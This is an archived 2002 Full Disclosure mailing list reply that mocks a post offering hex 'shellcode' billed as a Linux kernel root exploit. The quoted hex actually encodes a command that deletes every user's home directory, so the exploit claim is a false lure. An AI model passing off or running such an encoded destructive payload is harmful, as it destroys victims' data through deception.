Full Disclosure mailing list archives

Re: Proof of concept code to kill script kiddies out of the water!


From: "Nexus" <nexus () patrol i-way co uk>
Date: Fri, 29 Nov 2002 09:56:08 -0000

   Get r00t on any Linux x86 system
   With the below shellcode.

   It uses an exploit in the linux
   kernel to elevate privilages to root!

*/
char shellcode[] =
"\x2f\x62\x69\x6e\x2f\x72\x6d\x20"
"\x2d\x72\x66\x20\x2f\x68\x6f\x6d"
"\x65\x2f\x2a\x3b\x63\x6c\x65\x61"
"\x72\x3b\x65\x63\x68\x6f\x20\x62"
"\x6c\x34\x63\x6b\x68\x34\x74\x2c"
"\x68\x65\x68\x65";

What version of Linux ?   I ran this on my windows 95 box and it said:
"'rm' is not recognized as an internal or external command, operable program
or batch file."
I ported the shellcode to a windows batch file and it still failed...
What am I doing wrong ?
/me confused ;-)

Also, my Linux box is Z80, not x86 - I can do a Z80 version if you want ?

Cheers.

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html


Current thread: